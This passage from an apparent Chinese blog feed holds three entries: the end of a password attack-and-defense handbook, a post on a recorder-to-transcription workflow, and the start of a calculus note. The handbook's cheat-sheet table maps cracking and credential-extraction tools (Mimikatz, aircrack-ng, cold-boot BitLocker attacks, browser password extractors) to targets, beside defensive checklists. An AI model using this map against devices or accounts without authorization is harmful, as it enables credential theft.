amazon.com</li><li><strong>短信钓鱼：</strong> 「您的快递配送失败，请点击链接更新地址」</li></ul><h3 id="11-3-防御指南"><a href="#11-3-防御指南" class="headerlink" title="11.3 防御指南"></a>11.3 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li><strong>不同网站用不同密码</strong>——密码管理器帮你做到</li><li><strong>开启 2FA</strong>——优先用 TOTP（Google Authenticator &#x2F; Authy）或硬件密钥（YubiKey），其次才是短信验证码</li><li>收到链接先看域名——<strong>不要只看文字</strong></li><li>定期检查 <a href="https://haveibeenpwned.com/">https://haveibeenpwned.com</a> ——看你的邮箱是否在已知泄露中</li><li>密码管理器还可以帮你对每个网站生成随机密码</li></ul></blockquote><hr><h2 id="十二、工具速查表：你可以上手的实战工具"><a href="#十二、工具速查表：你可以上手的实战工具" class="headerlink" title="十二、工具速查表：你可以上手的实战工具"></a>十二、工具速查表：你可以上手的实战工具</h2><table><thead><tr><th>场景</th><th>工具</th><th>用途</th><th>难度</th></tr></thead><tbody><tr><td><strong>压缩包密码</strong></td><td>John the Ripper (rar2john&#x2F;zip2john) + Hashcat</td><td>提取哈希 + GPU 破解</td><td>⭐⭐</td></tr><tr><td><strong>压缩包（PKZIP已知明文）</strong></td><td>bkcrack</td><td>12 字节已知明文反推密钥</td><td>⭐⭐⭐</td></tr><tr><td><strong>Office 文档</strong></td><td>office2john + Hashcat</td><td>提取哈希 + 破解</td><td>⭐⭐</td></tr><tr><td><strong>Excel 工作表保护</strong></td><td>Passcovery &#x2F; 手动编辑 XML</td><td>秒移除</td><td>⭐</td></tr><tr><td><strong>PDF 密码</strong></td><td>pdf2john.pl + John</td><td>提取哈希 + 破解</td><td>⭐⭐</td></tr><tr><td><strong>PDF 权限密码</strong></td><td>Smallpdf &#x2F; iLovePDF 在线工具</td><td>秒移除</td><td>⭐</td></tr><tr><td><strong>Windows NTLM Hash</strong></td><td>Mimikatz &#x2F; Impacket + Hashcat</td><td>提取 + GPU 破解</td><td>⭐⭐⭐</td></tr><tr><td><strong>Windows 密码绕过</strong></td><td>Windows PE U盘 + 粘滞键替换</td><td>物理绕过</td><td>⭐⭐</td></tr><tr><td><strong>手机锁屏</strong></td><td>DroidKit &#x2F; Dr.Fone &#x2F; Android ADB</td><td>商业工具或 ADB 操作</td><td>⭐⭐</td></tr><tr><td><strong>手机远程擦除</strong></td><td>Google 查找我的设备 &#x2F; iCloud 查找</td><td>远程重置</td><td>⭐</td></tr><tr><td><strong>Wi-Fi WPA2</strong></td><td>aircrack-ng 套件 + Hashcat</td><td>抓握手包 + 字典破解</td><td>⭐⭐⭐</td></tr><tr><td><strong>Wi-Fi PMKID</strong></td><td>hcxdumptool + Hashcat</td><td>静默抓取 + 破解</td><td>⭐⭐</td></tr><tr><td><strong>指纹测试</strong></td><td>电容硅胶指纹膜材料</td><td>自制假指纹（仅限安全研究）</td><td>⭐⭐⭐</td></tr><tr><td><strong>BitLocker 密钥提取</strong></td><td>Cold Boot 攻击工具</td><td>内存冷启动转储 + 密钥搜索</td><td>⭐⭐⭐⭐</td></tr><tr><td><strong>Chrome 密码提取</strong></td><td>Sharp-HackBrowserData &#x2F; BrowserGhost</td><td>本机密码解密提取</td><td>⭐⭐</td></tr><tr><td><strong>SSH 私钥</strong></td><td>ssh2john + John the Ripper</td><td>提取哈希 + 字典破解</td><td>⭐⭐</td></tr><tr><td><strong>泄露检测</strong></td><td>haveibeenpwned.com</td><td>检查邮箱是否已泄露</td><td>⭐</td></tr></tbody></table><hr><h2 id="十三、总结：普通人最少花费、最大收益的安全清单"><a href="#十三、总结：普通人最少花费、最大收益的安全清单" class="headerlink" title="十三、总结：普通人最少花费、最大收益的安全清单"></a>十三、总结：普通人最少花费、最大收益的安全清单</h2><p>如果你不想读前面一万字，以下是你现在就可以做的事——按重要性排序：</p><h3 id="🔴-立刻做（今天，5-分钟）"><a href="#🔴-立刻做（今天，5-分钟）" class="headerlink" title="🔴 立刻做（今天，5 分钟）"></a>🔴 立刻做（今天，5 分钟）</h3><ol><li><strong>关掉路由器 WPS</strong> → 登录路由器管理界面找到 WPS 设置，关掉</li><li><strong>不同网站用不同密码</strong> → 安装 Bitwarden，花 2 分钟注册</li><li><strong>开启重要账号的 2FA</strong> → 邮箱、银行、支付平台至少开启 TOTP 或短信验证</li><li><strong>清空浏览器保存的密码</strong> → 全部迁移到 Bitwarden 后，逐条删除</li></ol><h3 id="🟡-本周做"><a href="#🟡-本周做" class="headerlink" title="🟡 本周做"></a>🟡 本周做</h3><ol start="5"><li><strong>修改 Wi-Fi 密码</strong> → 至少 12 位混合</li><li><strong>BitLocker 加 PIN</strong> → 开启 TPM+PIN 模式</li><li><strong>Firefox 开主密码</strong> → 设置 → 隐私与安全 → 主密码</li><li><strong>检查 haveibeenpwned.com</strong> → 看你的邮箱&#x2F;密码是否已泄露</li></ol><h3 id="🟢-本月做"><a href="#🟢-本月做" class="headerlink" title="🟢 本月做"></a>🟢 本月做</h3><ol start="9"><li><strong>所有加密压缩包都用 RAR5&#x2F;7z 格式</strong>，密码 12 位以上</li><li><strong>SSH 私钥全部换成 Ed25519 + passphrase</strong></li><li><strong>手机 PIN 从 4 位改 6 位</strong>，iPhone 开抹掉数据</li><li><strong>做一遍 Git 仓库安全审计</strong>：确认没有私钥、密码、token 被误提交</li></ol><hr><blockquote><p><strong>最后的最后：</strong></p><p>密码系统的安全性 &#x3D; <strong>算法强度 × 实现正确性 × 人的使用习惯</strong>。</p><p>三个因子中，算法是最强的那个，人是最弱的那个。攻击者不是黑掉 AES-256 的，他们是黑掉那个用「password123」当万能密码的你。</p><p>花 30 分钟做好上面的清单，你就能防住 99% 针对普通人的攻击。剩下的 1% 是国家级对手——如果真有那一天，你需要的不再是这篇文章。</p></blockquote><hr><p><em>本文技术信息截止 2026 年 7 月，所有工具和方法仅适用于合法密码恢复和安全审计场景。</em></p>]]>
    </content>
    <id>http://misaka10013.cn/p/3624725012.html</id>
    <link href="http://misaka10013.cn/p/3624725012.html"/>
    <published>2026-07-24T03:50:00.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p><strong>⚠️ 重要声明：</strong> 本文内容仅供安全教育和自我保护用途。未经授权破解他人的密码、系统或网络是违法行为。了解攻击方式是为了更好地防御，而不是成为攻击者。所有演示技术均针对”忘记自己密码”的场景。</p>
</blockquote>
<hr>
<h2 id="前言：密码真的在保护你吗？"><a href="#前言：密码真的在保护你吗？" class="headerlink" title="前言：密码真的在保护你吗？"></a>前言：密码真的在保护你吗？</h2>]]>
    </summary>
    <title>日常密码攻防手册 —— 普通人用到的每一种密码，弱点与破解途径全解析</title>
    <updated>2026-09-15T13:08:39.439Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="技术笔记" scheme="http://misaka10013.cn/categories/%E6%8A%80%E6%9C%AF%E7%AC%94%E8%AE%B0/"/>
    <category term="DIY" scheme="http://misaka10013.cn/tags/DIY/"/>
    <category term="录音笔" scheme="http://misaka10013.cn/tags/%E5%BD%95%E9%9F%B3%E7%AC%94/"/>
    <category term="语音识别" scheme="http://misaka10013.cn/tags/%E8%AF%AD%E9%9F%B3%E8%AF%86%E5%88%AB/"/>
    <content>
      <![CDATA[<h2 id="录音到免费转录——健全日记第一步"><a href="#录音到免费转录——健全日记第一步" class="headerlink" title="录音到免费转录——健全日记第一步"></a>录音到免费转录——健全日记第一步</h2><p>起因是在4月到6月，我基本已经习惯了使用小守日记的过程，特别是使用小守记录我和家人的互动沟通内容。但最近和家人的沟通大部分集中到了线下场景。这导致我很难有精力抽出来记录大量日记，也不好像之前直接复制粘贴就可以把线上的互动信息导入到小守日记中去。</p><p>我之前就在有个持续的想法，把我所见、所闻的一切数据化，都产生日志原始数据，再由AI帮我记录和分析。所以基于最近生活中日记这个问题的痛点，我开始思考解决方案。很容易想到，把生活全程录音，然后将录音转为原始生活沟通对话记录，扔给AI，是目前相对容易实现的一个路径。</p><p>由此我开始不断和AI头脑风暴思考如何实现。最开始考虑了较为成熟的商业录音设备和转录软件，但核对成本的话很快就能发现，购买AI录音硬件设备就需要几百到一千，而这类厂商提供的转录服务也是有时间额度限制的，要实现7*24小时录音，可以说成本很大。</p><p>我也有尝试直接使用手机安装app进行录音和转录，但手机本身有其他的功能，例如接打电话、微信语音等等，不可能用于长时间录音工作。而测试的讯飞听见之类的商业app，我发现不管在音频转写文本的准确性还是在说话人的识别的准确性上都堪忧，让我肯本不好使用。最后我开始和AI思考自建DIY方案。包括自己找板子、写固件、写云端和手机app等，各自点子我都和AI讨论核对了下实现难度和成本。</p><p>最后基于AI推荐的基于成本、硬件素质和可玩性的分析，我买了一支搜狗E1录音笔。曾经大概2020年的时候市场售价上千元，但随着2024年搜狗放弃录音笔云端的转写等功能，现在这个设备咸鱼二手只需要80元。</p><p>设备参数上，2100mAh 电池，连续录音 10 小时，待机 20 天；32GB 存储，可存约 200 小时录音；8 麦阵列 + clairVoice 算法 + AGC 自动增益；4 种录音模式：会议（360°全向）、听课（哈曼指向麦）、采访（全向）、音乐（Hi-Res 96kHz&#x2F;24bit）。RK3308四核A35，已经有人在github上面研究搜狗E1刷Armbian，刷了之后就可以编译写程序进去。也有人ADB进原厂系统，进去写一些小的功能，例如推上传之类的。</p><p>当然，我一贯认为，能满足需求的话，我们能少造轮子就少造，利用现有的轮子，站在巨人身上解决问题，才是最有效率的解决方案。录音笔有了，下一步就是解决便捷、低成本的转写和说话人识别的问题了。AI总是喜欢给我秀他多能写程序，反复给我说不难，这个功能几十行，那个功能几十行，几百行核心代码解决功能云云。AI写代码是不难，调试和改BUG费人哦。</p><p>基于简化需求，少造轮子，<strong>录音笔录音 → 手机端能看文本</strong>的需求。我们开始继续推进调研和实践的步伐。</p><h2 id="第一反应：看看有没有现成的轮子"><a href="#第一反应：看看有没有现成的轮子" class="headerlink" title="第一反应：看看有没有现成的轮子"></a>第一反应：看看有没有现成的轮子</h2><p>御坂和人讨论的第一个问题是——有没有人已经搞过这个？</p><p>答案是：有人在搞，但都不太够。</p><p>微信公众号上有篇文章，讲了一位大佬用DeepSeek + 自建服务器逆向复活了E1的全链路。做法是：DNS劫持 + 逆向搜狗的RSA-1024私有加密协议 + SiliconFlow STT + DeepSeek做摘要。架势很漂亮，问题是他没开源代码。等于只给思路不给轮子，御坂看着这7-8个环节的脆弱链路，果断跳过（运维成本比买个新录音笔都高好吧）。</p><p>GitHub上也有个<a href="https://github.com/Hermes-Language/Armbian_E1">Hermes-Language&#x2F;Armbian_E1</a>项目，尝试在E1上跑完整Armbian系统，但目前还卡在设备树适配阶段。还不太成熟。</p><p>再就是直接在社区网站WhyCan上看到有人在用IDA Pro逆向E1的核心可执行文件，纯研究性质，离”能用”还远。</p><p><strong>结论：社区有动静，但没有能直接用的。</strong></p><h2 id="那换个录音笔呢？"><a href="#那换个录音笔呢？" class="headerlink" title="那换个录音笔呢？"></a>那换个录音笔呢？</h2><p>御坂查了一下讯飞录音笔的二手价格和转写政策——</p><p>H1 Pro闲鱼300-450元，SR302在400-550元。价格不算贵，而且讯飞自带”终身免费每天24小时转写额度”。</p><p>听起来很香。但御坂对这一类”终身免费”承诺有天然的不信任——毕竟搜狗当年也是这么说的，三年就跑路了。把核心需求绑在厂商的承诺上，和现在的处境一模一样。</p><p><strong>否决。</strong></p><h2 id="自己做一个转写工具？"><a href="#自己做一个转写工具？" class="headerlink" title="自己做一个转写工具？"></a>自己做一个转写工具？</h2><p>于是御坂开始认真考虑自建方案。</p><p>硬件：GTX 1065 4GB专用显存（从任务管理器再三确认过），Windows。需求收敛为四个点：</p><table><thead><tr><th>要求</th><th>说明</th></tr></thead><tbody><tr><td>中文转写</td><td>不要翻译腔的那种</td></tr><tr><td>区分说话人</td><td>通常是2-3个熟人对话</td></tr><tr><td>显存友好</td><td>4GB显存不能崩</td></tr><tr><td>输出MD</td><td>说话人+时间戳+内容，方便用Obsidian多端看</td></tr></tbody></table><p>技术上跑了一圈对比：</p><table><thead><tr><th>转写引擎</th><th>中文效果</th><th>生态</th></tr></thead><tbody><tr><td>Whisper large-v3 int8</td><td>85-90%</td><td>最成熟</td></tr><tr><td>SenseVoice（阿里FunASR）</td><td>93%+</td><td>中文最优，但自己整合费劲</td></tr><tr><td>medium int8</td><td>85%</td><td>显存稳妥</td></tr></tbody></table><p>最初选定的方案是<strong>WhisperX一体化</strong>：faster-whisper large-v3 int8 做转写 + pyannote 3.1 做说话人分离 + wav2vec2 做时间对齐 + tkinter 写个简单GUI。大约500行Python，打包成exe。看起来是可以的。</p><h2 id="第一次实测——当场翻车"><a href="#第一次实测——当场翻车" class="headerlink" title="第一次实测——当场翻车"></a>第一次实测——当场翻车</h2><p>基于少重复造轮子，根据上面的转写技术路线，我让AI最后找到了实现相似技术路线的软件——Buzz（18.8k星的开源Whisper桌面工具，准备先做一波验证。</p><p><strong>第一刀：large-v3 直接报 OOM。</strong></p><p>4GB显存跑large-v3是钢丝，CTranslate2 int8量化后理论上峰值~3.5GB，实际跑到一半就爆了（后来用whisper.cpp + large-v3-turbo-q5_0才勉强跑通，Q5量化的turbo版）。</p><p><strong>第二刀：转写文字本身还行。</strong> 用Q5量化的模型转了段中文对话，内容基本可读，没有离谱的识别错误。</p><p><strong>第三刀——也是最致命的一刀：说话人分离不准确。</strong></p><p>Buzz内置的diarization把对话里的人分得乱七八糟。而且一旦开启说话人识别，4GB的显存更加不够用了，只能完全用CPU跑转写和识别，速度很慢。</p><h2 id="技术深潜：说话人分离为什么这么难？"><a href="#技术深潜：说话人分离为什么这么难？" class="headerlink" title="技术深潜：说话人分离为什么这么难？"></a>技术深潜：说话人分离为什么这么难？</h2><p>还是回到先把问题搞清楚。</p><p>一查才发现，<strong>说话人分离（Speaker Diarization）是语音领域公认的硬骨头，难度远高于转写本身。</strong> 五个根本性障碍：</p><ol><li><p><strong>声纹漂移</strong>——同一个人早上刚醒和下午兴奋时声音不一样，感冒了不一样，离麦克风30cm和1.5m不一样。声纹不是指纹，它是个会动的靶子。</p></li><li><p><strong>重叠语音</strong>——单麦录音下两人同时说话 &#x3D; 两段声波在同一个声道叠加。数学上欠定，无法完美分离。</p></li><li><p><strong>说话人数未知</strong>——系统得自己判断录音里有几个人。K值不定，多分少分都让错误率飙升。</p></li><li><p><strong>远场 + 单麦</strong>——便携录音笔离声源0.5-2m，混响+环境噪音污染了本就不稳定的声纹特征。</p></li><li><p><strong>短片段无法建声纹</strong>——“嗯””对””好的”只有0.3秒，不够提取稳定的声纹嵌入。</p></li></ol><p><strong>业界最好水平：DER（Diarization Error Rate）~10-15%，而且是在实验室AMI多麦近场数据集上。</strong> 换到便携录音笔的真实场景，只会更差。</p><p>御坂认识到：追求”全自动100%准确的说话人分离”在当前技术条件下是不现实的。Buzz不行，讯飞也不行，自建WhisperX+pyannote大概率也不行。</p><h2 id="关键决策：放弃全自动，转向人工标注"><a href="#关键决策：放弃全自动，转向人工标注" class="headerlink" title="关键决策：放弃全自动，转向人工标注"></a>关键决策：放弃全自动，转向人工标注</h2><p>既然自动分离的准确率天花板就摆在那，不如换个思路——</p><p><strong>把自动分离当作草稿，把精力放在”让修正草稿这件事变得极其方便”上。</strong></p><p>需求从”全自动区分说话人”变成了”转写+粗分离+便捷的编辑器人工标注”。</p><p>这一转，方向也转了——不再自己写转写工具（那是重复造轮子），而是找「转写+说话人分离+编辑器」一体化的现成方案。</p><h2 id="峰回路转：发现-noScribe"><a href="#峰回路转：发现-noScribe" class="headerlink" title="峰回路转：发现 noScribe"></a>峰回路转：发现 noScribe</h2><p>顺着”转录编辑器”、”人工标注说话人”这个方向重新搜索，AI又帮忙找到了一个神器 <a href="https://github.com/kaixxx/noScribe">noScribe</a>。</p><p>它的定位恰好是御坂需要的：</p><table><thead><tr><th>维度</th><th>细节</th></tr></thead><tbody><tr><td>转写引擎</td><td>faster-whisper（precise模型），底层和御坂原先想自建的一模一样</td></tr><tr><td>说话人分离</td><td>内置pyannote系列模型</td></tr><tr><td>编辑器</td><td>波形图+文本双栏，点击任意文本即跳转到音频对应位置</td></tr><tr><td>说话人编辑</td><td>搜索”Speaker A”→ 全部替换为”张三”，几秒钟的事</td></tr><tr><td>输出</td><td>HTML&#x2F;VTT&#x2F;TXT</td></tr><tr><td>隐私</td><td>全本地离线</td></tr><tr><td>价格</td><td>开源免费</td></tr></tbody></table><p>CPU版不依赖CUDA，御坂那4GB显存的问题直接不存在了。</p><p>一顿操作下载安装，测试了noScribe的precise模型——<strong>中文转写效果很好，说话人识别也可用，编辑器校对体验流畅。</strong> 一波带走。AI原计划的造轮子行动，直接归零。</p><h2 id="落地：VToT-工作流"><a href="#落地：VToT-工作流" class="headerlink" title="落地：VToT 工作流"></a>落地：VToT 工作流</h2><p>最终方案不是”一个软件”，而是「noScribe + 目录约定 + 配套脚本」的完整工作流。便宜强大的录音笔录音，免费开源的软件转写识别，但我还需要把两者的流程合并起来，让每次新增的录音能够便捷的转为我需要的文本，一方面存档到了我的obsidian云上去，另一方面也方便我同步给日记小守。要形成操作工作流：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">D:\1\coding\VToT\</span><br><span class="line">├── V\                  ← 放置原始WAV + noScribe输出的HTML</span><br><span class="line">├── html\               ← 审阅完的HTML（说话人已改名、文字已校对）</span><br><span class="line">│   └── 一键转MD.bat    ← 双击执行</span><br><span class="line">├── outMD\              ← 自动生成的MD文件</span><br><span class="line">└── convert.py          ← HTML→MD转换脚本（零依赖，纯标准库）</span><br></pre></td></tr></table></figure><p><strong>日常操作只要七步：</strong></p><ol><li>E1录音笔USB连电脑</li><li>复制WAV到<code>V\</code>目录</li><li>打开noScribe → 导入WAV → precise模型 → 转写</li><li>在编辑器里对照波形逐句核对，搜索替换说话人名字（Speaker A → “张三”）</li><li>审完的HTML复制到<code>html\</code>目录</li><li>双击<code>一键转MD.bat</code> → 自动将<strong>新增的</strong>HTML转为MD输出到<code>outMD\</code></li><li>把MD拖进Obsidian仓库 → 坚果云&#x2F;COS同步 → 手机端多端可查</li></ol><p>主要还是因为音频转文本和说话人识别这两处，目前还是没办法做到100%的准确，导致必然需要4-5人工审核这两步。要不然最后喂给我的日记小守AI，咬文嚼字的AI肯定理解错误。<br>convert.py是让AI用Python内置html.parser写（零依赖，不怕环境崩），解析noScribe的HTML结构，提取每条语句的<strong>说话人、时间戳、文本内容</strong>，输出格式：</p><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="section"># 2026-07-22-会议讨论</span></span><br><span class="line"></span><br><span class="line">[张三] 00:00:00</span><br><span class="line">哎，喂，你好，请问是张先生是吧？</span><br><span class="line"></span><br><span class="line">[李四] 00:00:12</span><br><span class="line">好的好的，我先说一下我这边的情况。</span><br></pre></td></tr></table></figure><p>并且做了增量去重——outMD中已有同名MD自动跳过，不会重复转换。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>整个项目的演进路径：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">&quot;能不能逆向复活？&quot; → 社区方案不全</span><br><span class="line">        ↓</span><br><span class="line">&quot;要不要换讯飞？&quot; → 不信任厂商承诺</span><br><span class="line">        ↓</span><br><span class="line">&quot;自己写一个转写工具？&quot; → 500行Python，可行但费工</span><br><span class="line">        ↓</span><br><span class="line">&quot;先测一下Buzz再说&quot; → large-v3 OOM，说话人分离不准</span><br><span class="line">        ↓</span><br><span class="line">&quot;为什么说话人分离这么难？&quot; → 技术深潜，接受现实</span><br><span class="line">        ↓</span><br><span class="line">&quot;放弃全自动，转人工标注&quot; → 方向切换</span><br><span class="line">        ↓</span><br><span class="line">&quot;有没有转录编辑器？&quot; → 发现noScribe</span><br><span class="line">        ↓</span><br><span class="line">&quot;实测通过&quot; → 不写代码了，写配套脚本</span><br><span class="line">        ↓</span><br><span class="line">&quot;VToT工作流落地&quot; → 完整方案</span><br></pre></td></tr></table></figure><p>核心经验一句话：<strong>先找成品再动手，先验证再投入。</strong> 御坂差点就要写一个完整的桌面应用了，结果发现一个免费开源工具把事情全干了。</p><p>现在搜狗E1从一个被厂商抛弃的”哑巴”变成了完整可用的录音转录系统——零费用、零联网、零换设备。转写出来的MD结构化文本，后续喂给日记助手「小守」做每日摘要也极其方便（说话人、时间戳、内容三个维度天然对齐）。</p><p>这个方案目前就暂定这样执行一阵子了。如果后面使用起来觉得繁琐，到时候优化的方向可能是看如何便捷的让录音从录音笔中导出出来，以及可能让转写和说话人识别放到云端做服务去。不过这些就会增加成本。先继续现状跑跑看看了。</p>]]>
    </content>
    <id>http://misaka10013.cn/p/2280609992.html</id>
    <link href="http://misaka10013.cn/p/2280609992.html"/>
    <published>2026-07-22T08:26:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="录音到免费转录——健全日记第一步"><a href="#录音到免费转录——健全日记第一步" class="headerlink" title="录音到免费转录——健全日记第一步"></a>录音到免费转录——健全日记第一步</h2><p>起因是在4月到6月，我基本已经习惯了使用小守日记的过程，特别是使用小守记录我和家人的互动沟通内容。但最近和家人的沟通大部分集中到了线下场景。这导致我很难有精力抽出来记录大量日记，也不好像之前直接复制粘贴就可以把线上的互动信息导入到小守日记中去。</p>
<p>我之前就在有个持续的想法，把我所见、所闻的一切数据化，都产生日志原始数据，再由AI帮我记录和分析。所以基于最近生活中日记这个问题的痛点，我开始思考解决方案。很容易想到，把生活全程录音，然后将录音转为原始生活沟通对话记录，扔给AI，是目前相对容易实现的一个路径。</p>]]>
    </summary>
    <title>录音到免费转录——健全日记第一步</title>
    <updated>2026-09-15T13:08:39.434Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="知识库" scheme="http://misaka10013.cn/categories/knowledge-base/"/>
    <category term="微积分" scheme="http://misaka10013.cn/tags/%E5%BE%AE%E7%A7%AF%E5%88%86/"/>
    <category term="数学" scheme="http://misaka10013.cn/tags/%E6%95%B0%E5%AD%A6/"/>
    <content>
      <![CDATA[<h1 id="微积分：理解变化的数学语言"><a href="#微积分：理解变化的数学语言" class="headerlink" title="微积分：理解变化的数学语言"></a>微积分：理解变化的数学语言</h1><blockquote><p>这是我的知识库笔记，记录了微积分的核心概念、原理机制、应用领域和实用工具。<br>起源于一次与AI助手关于微积分的深度对话，我发现自己对”变化”和”累积”的理解远比死记公式更有价值。<br>计算可以交给工具，但概念理解、问题建模和批判性思维——这些才是真正属于我的资产。</p></blockquote><hr><h2 id="一、微积分是什么"><a href="#一、微积分是什么" class="headerlink" title="一、微积分是什么"></a>一、微积分是什么</h2><p>微积分（Calculus）是高等数学中研究<strong>函数的微分与积分</strong>及其应用的数学分支。它的核心任务是两件事：</p><ol><li><strong>微分</strong>：捕捉瞬间的变化率——“此刻有多快？”</li><li><strong>积分</strong>：计算连续变化下的总效果——“一共走了多远？”</li></ol><p>一句话总结：<strong>微分是”切碎”，积分是”拼回”。导数告诉你每一片有多陡（变化率）。</strong></p><p>现实世界中的大多数现象都不是静止的——行星轨道、流体流动、电磁场、经济边际效应，都是连续的、动态的。没有微积分，我们只能处理离散的、均匀的情况。牛顿和莱布尼茨发明微积分后，物理定律才能写成简洁的微分方程，现代科学几乎寸步难行。</p><h3 id="函数——微积分的前置概念"><a href="#函数——微积分的前置概念" class="headerlink" title="函数——微积分的前置概念"></a>函数——微积分的前置概念</h3><p>微积分研究的是<strong>函数（Function）</strong>。什么是函数？</p><blockquote><p>函数是一种规则：你给我一个输入值，我给你一个对应的输出值。</p></blockquote><p>就像一台机器：投入原料 $x$，产出产品 $y$。这个规则可以用方程写出来，比如 $y &#x3D; x^2$——你给我 $x&#x3D;3$，我给你 $y&#x3D;9$。</p><p>微积分关心的不是某一对具体的输入输出值，而是这个规则本身的行为：输出值随输入值变化的趋势有多快？累积了多少总量？函数就是微积分的”研究对象”——它描述了变化和累积所依赖的规则。</p><p><img src="https://vdio-1252926453.cos.ap-chengdu.myqcloud.com/picgo/calc_fig1_derivative_slope.png" alt="图1：导数的几何含义——曲线的斜率"></p><hr><h2 id="二、核心原理与机制"><a href="#二、核心原理与机制" class="headerlink" title="二、核心原理与机制"></a>二、核心原理与机制</h2><h3 id="2-1-极限——微积分的根基"><a href="#2-1-极限——微积分的根基" class="headerlink" title="2.1 极限——微积分的根基"></a>2.1 极限——微积分的根基</h3><p>微积分的一切都建立在**极限（Limit）**之上。</p><p>极限的思想：让一个量无限趋近于某个值，但不真正到达它，看看在这个过程中发生了什么。</p><p>以瞬时速度为例：一辆车的位置 $s(t) &#x3D; t^2$，想知道 $t&#x3D;2$ 秒那一刻的速度。</p><table><thead><tr><th align="center">时间间隔 Δt</th><th align="center">位置差 Δs</th><th align="center">平均速度 Δs&#x2F;Δt</th></tr></thead><tbody><tr><td align="center">0.1</td><td align="center">0.41</td><td align="center">4.1 m&#x2F;s</td></tr><tr><td align="center">0.01</td><td align="center">0.0401</td><td align="center">4.01 m&#x2F;s</td></tr><tr><td align="center">0.001</td><td align="center">0.004001</td><td align="center">4.001 m&#x2F;s</td></tr></tbody></table><p>当 Δt → 0，平均速度 → 4 m&#x2F;s。这个<strong>极限值</strong>就是瞬时速度。</p><blockquote><p>这不是从函数直接”读出”速度，而是通过极限计算平均速度在时间间隔趋于零时的逼近值。</p></blockquote><p><img src="https://vdio-1252926453.cos.ap-chengdu.myqcloud.com/picgo/calc_fig2_limit_approach.png" alt="图2：极限逼近过程——平均速度向瞬时速度收敛"></p><h3 id="2-2-导数——变化率的精确表达"><a href="#2-2-导数——变化率的精确表达" class="headerlink" title="2.2 导数——变化率的精确表达"></a>2.2 导数——变化率的精确表达</h3><p><strong>导数</strong>是极限过程的结果：</p><p>$$f’(x) &#x3D; \lim_{\Delta x \to 0} \frac{f(x+\Delta x) - f(x)}{\Delta x}$$</p><p>对 $s(t)&#x3D;t^2$ 求导的推导过程：</p><p>$$\Delta s &#x3D; (t+\Delta t)^2 - t^2 &#x3D; 2t\Delta t + (\Delta t)^2$$</p><p>$$\frac{\Delta s}{\Delta t} &#x3D; 2t + \Delta t$$</p><p>当 $\Delta t \to 0$，结果为 $2t$。</p><p>所以：<strong>在任意时刻 $t$，瞬时速度都是 $2t$</strong>——不只是 $t&#x3D;2$ 这一点，而是整个运动过程的速度函数。</p><p><strong>导数的几何含义</strong>：在函数图像上，导数就是<strong>曲线在某一点处的斜率</strong>，也就是<strong>切线的倾斜程度</strong>。切线越陡，变化越快；切线越平，变化越慢。</p><p><img src="https://vdio-1252926453.cos.ap-chengdu.myqcloud.com/picgo/calc_fig3_tangent_line.png" alt="图3：导数的几何含义——切线的斜率就是导数"></p><h3 id="2-3-微分与导数的区别"><a href="#2-3-微分与导数的区别" class="headerlink" title="2.3 微分与导数的区别"></a>2.3 微分与导数的区别</h3><table><thead><tr><th align="center">概念</th><th align="center">含义</th><th align="center">类比</th></tr></thead><tbody><tr><td align="center"><strong>微分</strong></td><td align="center">一个无穷小的变化量（dx, dy）</td><td align="center">切片的”厚度”</td></tr><tr><td align="center"><strong>导数</strong></td><td align="center">两个微分的比值（dy&#x2F;dx &#x3D; 变化率）</td><td align="center">切片的”斜率”</td></tr><tr><td align="center"><strong>求导</strong></td><td align="center">计算导数的操作</td><td align="center">测量斜率的动作</td></tr></tbody></table><p>导数也叫”微商”——因为它是两个微分的商。</p><h3 id="2-4-二阶导数——变化率的变化率"><a href="#2-4-二阶导数——变化率的变化率" class="headerlink" title="2.4 二阶导数——变化率的变化率"></a>2.4 二阶导数——变化率的变化率</h3><p>如果一阶导数 $dx&#x2F;dt$ 是速度（位置的变化率），那么二阶导数 $d^2x&#x2F;dt^2$ 就是加速度（速度的变化率）。</p><p>符号拆解：</p><ul><li>$d&#x2F;dt$ 是一个操作——“对时间求导数”</li><li>$d^2x&#x2F;dt^2$ 不是”d的平方”，而是”两次求导”的意思</li><li>$dt^2$ 不是”d乘t的平方”，而是 $(dt)^2$ 的简写</li></ul><p>直觉类比：</p><ul><li>里程表 &#x3D; 位置 $x(t)$</li><li>速度表 &#x3D; 一阶导数 $dx&#x2F;dt$</li><li>油门力度 &#x3D; 二阶导数 $d^2x&#x2F;dt^2$</li><li>急动度（jerk）&#x3D; 三阶导数 $d^3x&#x2F;dt^3$（突然松油门时身体前倾的感觉）</li></ul><h3 id="2-5-积分——累积的数学"><a href="#2-5-积分——累积的数学" class="headerlink" title="2.5 积分——累积的数学"></a>2.5 积分——累积的数学</h3><p>积分是微分的逆运算。它把无数个瞬间的微小贡献累加起来，得到总量。</p><p><strong>关键区别</strong>：最终时刻的速度是”状态量”，走过的总路程是”累积量”。它们是完全不同的两件事。</p><p>$$\text{总路程} &#x3D; \int_{t_0}^{t_1} v(t) , dt$$</p><p>直觉：每一小段时间内的速度 × 该段时间 &#x3D; 微小路程，把它们全部加起来 &#x3D; 总路程。</p><p><strong>积分的几何含义</strong>：积分就是<strong>曲线下方区域的面积</strong>。这是积分最直觉、最根本的理解方式——不管曲线怎么弯，积分就是把那条线和x轴之间的”区域面积”精确算出来。</p><p><img 